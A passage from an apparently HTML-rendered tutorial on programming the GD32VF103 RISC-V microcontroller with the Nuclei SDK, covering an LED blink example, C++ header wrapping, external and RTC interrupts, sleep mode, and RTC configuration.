class=\"cpf\">&lt;gd32vf103_gpio.h&gt;<\/span>\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;gd32vf103_rcu.h&gt;<\/span><span class=\"c1\"> \/\/ reset and clock unit<\/span>\n\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;stdbool.h&gt;<\/span>\n\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">switch_led<\/span><span class=\"p\">(<\/span><span class=\"kt\">bool<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ inverse logic with the onboard red LED<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">GPIO_BC<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIOC<\/span><span class=\"p\">)<\/span><span class=\"w\">  <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_13<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ bit-clear<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">GPIO_BOP<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIOC<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_13<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ bit-operate<\/span>\n\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ alternatively:<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ gpio_bit_write(GPIOC, GPIO_PIN_13, !b);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">blink3<\/span><span class=\"p\">(<\/span><span class=\"kt\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">switch_led<\/span><span class=\"p\">(<\/span><span class=\"nb\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">switch_led<\/span><span class=\"p\">(<\/span><span class=\"nb\">false<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">switch_led<\/span><span class=\"p\">(<\/span><span class=\"nb\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">switch_led<\/span><span class=\"p\">(<\/span><span class=\"nb\">false<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"nf\">main<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_GPIOC<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">gpio_init<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIOC<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_MODE_OUT_PP<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_OSPEED_50MHZ<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_13<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">switch_led<\/span><span class=\"p\">(<\/span><span class=\"nb\">false<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">blink3<\/span><span class=\"p\">(<\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"mi\">3<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">blink3<\/span><span class=\"p\">(<\/span><span class=\"mi\">3<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"mi\">3<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">blink3<\/span><span class=\"p\">(<\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">delay_1ms<\/span><span class=\"p\">(<\/span><span class=\"mi\">5<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">223<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Just drop this example into the <code>src<\/code> directory as - say - <code>main.c<\/code> and call <code>make<\/code>.<\/p>\n<h2 id=\"c\">C++<a class=\"headerlink\" href=\"#c\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>One can also use C++ (or a subset of C++) with this MCU. However, not all of the SDK headers are C++ friendly, i.e. not all of them wrap themselves with:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#ifdef  __cplusplus<\/span>\n<span class=\"k\">extern<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;C&quot;<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"cp\">#endif<\/span>\n\n<span class=\"c1\">\/\/ [all the declarations ...]<\/span>\n\n<span class=\"cp\">#ifdef  __cplusplus<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"cp\">#endif<\/span>\n<\/code><\/pre><\/div>\n\n<p>Thus, from C++ one has to include the SDK headers like so:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">extern<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;C&quot;<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;gd32vf103_rcu.h&gt;<\/span>\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;gd32vf103_gpio.h&gt;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>NB: The next Nuclei SDK release will have all such headers in a\nC++ friendly state (cf. my merged\n<a href=\"https:\/\/github.com\/Nuclei-Software\/nuclei-sdk\/pull\/38\">pull-request<\/a>).<\/p>\n<p>Also, interrupt handlers must be wrapped in a similar way.<\/p>\n<p>NB: Although the Nuclei SDK doesn't compile with\n<code>-fno-exceptions<\/code> (unlike e.g. the GCC\/AVR SDK that targets 8 bit\nMCUs), C++ exceptions simply don't work, out of the box.<\/p>\n<p>Code that throws and catches exceptions compiles, but the linker\nthen warns about <code>_getpid<\/code> and <code>_kill<\/code> always failing (due to not\nbeing implemented). Also, even a small example with a single\nthrow\/catch increases precious flash space usage by 40 KiB.<\/p>\n<p>FWIW, when actually disabling exceptions (by setting\n<code>build_flags = -fno-exceptions<\/code> in <code>platformio.ini<\/code>) compiling a\na small C++ example leads to 192 bytes of flash space being saved.<\/p>\n<h2 id=\"interrupts\">Interrupts<a class=\"headerlink\" href=\"#interrupts\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Only letting LEDs blinks in a busy-loop gets boring, fast.<\/p>\n<p>Configuring interrupts on the GD32VF103 is a bit more involved than with a -\nsay - ATmega328p, because the interrupt system is more advanced.<\/p>\n<p>For example, to configure an external interrupt for pin A0:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_AF<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_GPIOA<\/span><span class=\"p\">);<\/span>\n\n<span class=\"c1\">\/\/ configure internal pull-up<\/span>\n<span class=\"n\">gpio_init<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIOB<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_MODE_IPU<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_OSPEED_50MHZ<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_0<\/span><span class=\"p\">);<\/span>\n\n<span class=\"c1\">\/\/ alternatively, with external pull-up\/pull-down<\/span>\n<span class=\"c1\">\/\/ gpio_init(GPIOA, GPIO_MODE_IN_FLOATING, GPIO_OSPEED_50MHZ, GPIO_PIN_0);<\/span>\n\n<span class=\"n\">gpio_exti_source_select<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIO_PORT_SOURCE_GPIOA<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_SOURCE_0<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">exti_init<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI_0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">EXTI_INTERRUPT<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">EXTI_TRIG_BOTH<\/span><span class=\"p\">);<\/span>\n\n<span class=\"n\">exti_interrupt_flag_clear<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI_0<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">exti_interrupt_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI_0<\/span><span class=\"p\">);<\/span>\n\n<span class=\"c1\">\/\/ higher preempts lower, IRQ levels start at 1<\/span>\n<span class=\"n\">ECLIC_SetLevelIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI0_IRQn<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"c1\">\/\/ doesn&#39;t preempt, but is a tie breaker for multiple pending ones<\/span>\n<span class=\"n\">ECLIC_SetPriorityIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI0_IRQn<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">ECLIC_EnableIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI0_IRQn<\/span><span class=\"p\">);<\/span>\n\n<span class=\"c1\">\/\/ interrupts aren&#39;t enabled, by default<\/span>\n<span class=\"n\">__enable_irq<\/span><span class=\"p\">();<\/span>\n<\/code><\/pre><\/div>\n\n<p>There are several external interrupts and each can wake-up the CPU from sleep.<\/p>\n<p>Sidenote: The CPU can be also be woken by configured events which should be faster.<\/p>\n<p>The available interrupts can be looked up via:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>grep<span class=\"w\"> <\/span>IRQn<span class=\"w\"> <\/span>~\/.platformio\/packages\/framework-nuclei-sdk\/SoC\/gd32vf103\/Common\/Include\/gd32vf103.h\n<\/code><\/pre><\/div>\n\n<p>NB: Not every GPIO pin configured as input can have its own interrupt. For example, <code>EXTI0_IRQn<\/code> would be shared between pin 0 of each port group (e.g. B0 and C0). In addition, some pins are grouped into one interrupt such as <code>EXTI10_15_IRQn<\/code> for pins 10 to 15.<\/p>\n<hr>\n<p>With the above setup handling an interrupt is as simple as overwriting a weak symbol, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">volatile<\/span><span class=\"w\"> <\/span><span class=\"kt\">bool<\/span><span class=\"w\"> <\/span><span class=\"n\">some_value<\/span><span class=\"p\">;<\/span>\n\n<span class=\"cp\">#ifdef  __cplusplus<\/span>\n<span class=\"k\">extern<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;C&quot;<\/span>\n<span class=\"cp\">#endif<\/span>\n<span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"n\">EXTI0_IRQHandler<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">exti_interrupt_flag_get<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI_0<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">RESET<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"c1\">\/\/ if it&#39;s an edge-triggered vectored interrupt then<\/span>\n<span class=\"w\">        <\/span><span class=\"c1\">\/\/ the flag should be auto-cleared<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">exti_interrupt_flag_clear<\/span><span class=\"p\">(<\/span><span class=\"n\">EXTI_0<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"c1\">\/\/ do as little work as necessary in the handler, e.g.<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">some_value<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">gpio_input_bit_get<\/span><span class=\"p\">(<\/span><span class=\"n\">GPIOA<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">GPIO_PIN_0<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>To get a list of available interrupt handler symbol names:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">grep<\/span><span class=\"w\"> <\/span><span class=\"err\">&#39;<\/span><span class=\"nx\">weak<\/span><span class=\"p\">.<\/span><span class=\"o\">*<\/span><span class=\"nx\">Handler<\/span><span class=\"err\">&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">~\/<\/span><span class=\"p\">.<\/span><span class=\"nx\">platformio<\/span><span class=\"o\">\/<\/span><span class=\"nx\">packages<\/span><span class=\"o\">\/<\/span><span class=\"nx\">framework<\/span><span class=\"o\">-<\/span><span class=\"nx\">nuclei<\/span><span class=\"o\">-<\/span><span class=\"nx\">sdk<\/span><span class=\"o\">\/<\/span><span class=\"nx\">SoC<\/span><span class=\"o\">\/<\/span><span class=\"nx\">gd32vf103<\/span><span class=\"o\">\/<\/span><span class=\"nx\">Common<\/span><span class=\"o\">\/<\/span><span class=\"nx\">Source<\/span><span class=\"o\">\/<\/span><span class=\"nx\">GCC<\/span><span class=\"o\">\/<\/span><span class=\"nx\">startup_gd32vf103<\/span><span class=\"p\">.<\/span><span class=\"nx\">S<\/span>\n<\/code><\/pre><\/div>\n\n<hr>\n<p>Enabling an interrupt thus basically consists of the following steps:<\/p>\n<ol>\n<li>Enable the corresponding interface<\/li>\n<li>Configure the device<\/li>\n<li>Enable an interrupt at the device level<\/li>\n<li>Configure the interrupt controller (ECLIC)<\/li>\n<li>Enable interrupts globally<\/li>\n<li>Add an interrupt handler<\/li>\n<\/ol>\n<p>For comparison, to configure the RTC period 'second' interrupt (not to be confused with the RTC alarm interrupt):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/ [.. enable\/configure RTC ..]<\/span>\n<span class=\"c1\">\/\/ prescale to 1 second (-1 because divider starts at 0 ...)<\/span>\n<span class=\"n\">rtc_prescaler_set<\/span><span class=\"p\">(<\/span><span class=\"mi\">32768<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">rtc_lwoff_wait<\/span><span class=\"p\">();<\/span>\n<span class=\"n\">rtc_interrupt_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_INT_SECOND<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">rtc_lwoff_wait<\/span><span class=\"p\">();<\/span>\n\n<span class=\"n\">ECLIC_SetLevelIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_IRQn<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">ECLIC_SetPriorityIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_IRQn<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">ECLIC_EnableIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_IRQn<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>The corresponding interrupt handler:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">volatile<\/span><span class=\"w\"> <\/span><span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">rtc_ticks<\/span><span class=\"p\">;<\/span>\n\n<span class=\"cp\">#ifdef  __cplusplus<\/span>\n<span class=\"k\">extern<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;C&quot;<\/span>\n<span class=\"cp\">#endif<\/span>\n<span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_IRQHandler<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">rtc_interrupt_flag_get<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_INT_FLAG_SECOND<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">RESET<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">rtc_flag_clear<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_INT_FLAG_SECOND<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">++<\/span><span class=\"n\">rtc_ticks<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<hr>\n<p>A common use-case for an MCU is to let it sleep\/idle most of the time (to conserve energy) and wait on an interrupt. With the GD32VF103 (and the Nuclei SDK) this can be achieved like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;gd32vf103_pmu.h&gt;<\/span>\n\n\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">pmu_to_sleepmode<\/span><span class=\"p\">(<\/span><span class=\"n\">WFI_CMD<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ wait for interrupt<\/span>\n\n<span class=\"w\">        <\/span><span class=\"c1\">\/\/ go to work!<\/span>\n\n<span class=\"w\">        <\/span><span class=\"c1\">\/\/ [..]<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<h2 id=\"realtime-clock-rtc\">Realtime Clock (RTC)<a class=\"headerlink\" href=\"#realtime-clock-rtc\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Like the STM32F103 and unlike the - say - ATmega328p, the\nGD32VF103 integrates a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Real-time_clock\">realtime clock (RTC) unit<\/a>. The purpose of\nthe RTC to keep track of time even when the MCU is in deep sleep,\npossibly wake it up via an alarm at some point in time and\noptionally generate a timer interrupt. When the MCU doesn't provide\nan RTC an alternative is to use an external one such as a PCF8523\nor DS3231.<\/p>\n<p>A common RTC design is that an additional external low-speed\n32.768 kHz oscillator is used. This is also possible with the\nGD32VF103 and the Longan Nano board even connects the dedicated\npins to such an external quartz, like Blue Pill boards do.\nSee also the <a href=\"#assembling\">Assembling Section<\/a> for how these pins can be used\notherwise.<\/p>\n<p>Configuring the RTC is a little bit involved since it is located\nin the 'battery backup domain' (such that the rest of the MCU can\nbe powered down), it has several options for a clock source and\nmany other aspects can be customized. Being in the backup domain\nleads to shadow registers that have to synced over an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Advanced_Microcontroller_Bus_Architecture\">Advanced\nPeripheral Bus (APB)<\/a>.<\/p>\n<p>For example, to set up the RTC for a periodic interrupt that\ntriggers each second:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/ enable power managemenet unit - perhaps enabled by default<\/span>\n<span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_PMU<\/span><span class=\"p\">);<\/span>\n<span class=\"c1\">\/\/ enable write access to the registers in the backup domain<\/span>\n<span class=\"n\">pmu_backup_write_enable<\/span><span class=\"p\">();<\/span>\n<span class=\"c1\">\/\/ enable backup domain<\/span>\n<span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_BKPI<\/span><span class=\"p\">);<\/span>\n<span class=\"c1\">\/\/ reset backup domain registers<\/span>\n<span class=\"n\">bkp_deinit<\/span><span class=\"p\">();<\/span>\n<span class=\"c1\">\/\/ set the results of a previous calibration procedure<\/span>\n<span class=\"c1\">\/\/ bkp_rtc_calibration_value_set(x);<\/span>\n\n<span class=\"c1\">\/\/ setup RTC<\/span>\n<span class=\"c1\">\/\/ enable external low speed XO<\/span>\n<span class=\"n\">rcu_osci_on<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_LXTAL<\/span><span class=\"p\">);<\/span>\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">rcu_osci_stab_wait<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_LXTAL<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ use external low speed oscillaotr, i.e. 32.768 kHz<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rcu_rtc_clock_config<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_RTCSRC_LXTAL<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rcu_periph_clock_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RCU_RTC<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ wait until shadow registers are synced from the backup domain<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ over the APB bus<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rtc_register_sync_wait<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ wait until shadow register changes are synced over APB<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ to the backup doamin<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rtc_lwoff_wait<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ prescale to 1 second<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rtc_prescaler_set<\/span><span class=\"p\">(<\/span><span class=\"mi\">32768<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rtc_lwoff_wait<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rtc_interrupt_enable<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_INT_SECOND<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">rtc_lwoff_wait<\/span><span class=\"p\">();<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"c1\">\/\/ enable interrupt for RTC<\/span>\n<span class=\"n\">ECLIC_SetLevelIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_IRQn<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"c1\">\/\/ doesn&#39;t preempt, but is a tie breaker for multiple pending ones<\/span>\n<span class=\"n\">ECLIC_SetPriorityIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_IRQn<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">ECLIC_EnableIRQ<\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_IRQn<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Since the external low speed quartz has a frequency of 32.768 kHz, we have\nto let the RTC count exactly 32768 times in order to generate the second\ninterrupt. As the counter starts at the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Prescaler\">prescaler<\/a> value, wraps around at 0 and\nthe interrupt is emitted at the top value we thus have to set the prescaler to\nthe frequency minus one.<\/p>\n<p>The different features of the RTC can be described in <a href=\"https:\/\/en.wikipedia.org\/wiki\/Pseudocode\">pseudocode<\/a> like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">RTC_unit<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"n\">unit_is_enabled<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"n\">second_irq_enabled<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">emit_second_interrupt<\/span><span class=\"o\">()<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"n\">alarm_irq_enabled<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_CNT<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_ALRM<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">emit_alarm_interrupt<\/span><span class=\"o\">()<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"n\">overflow_irq_enabled<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_CNT<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"o\">**<\/span><span class=\"mi\">32<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">emit_overflow_interrupt<\/span><span class=\"o\">()<\/span>\n\n<span class=\"w\">        <\/span><span class=\"n\">RTC_CNT<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"n\">RTC_CNT<\/span><span class=\"w\"> <\/span><span 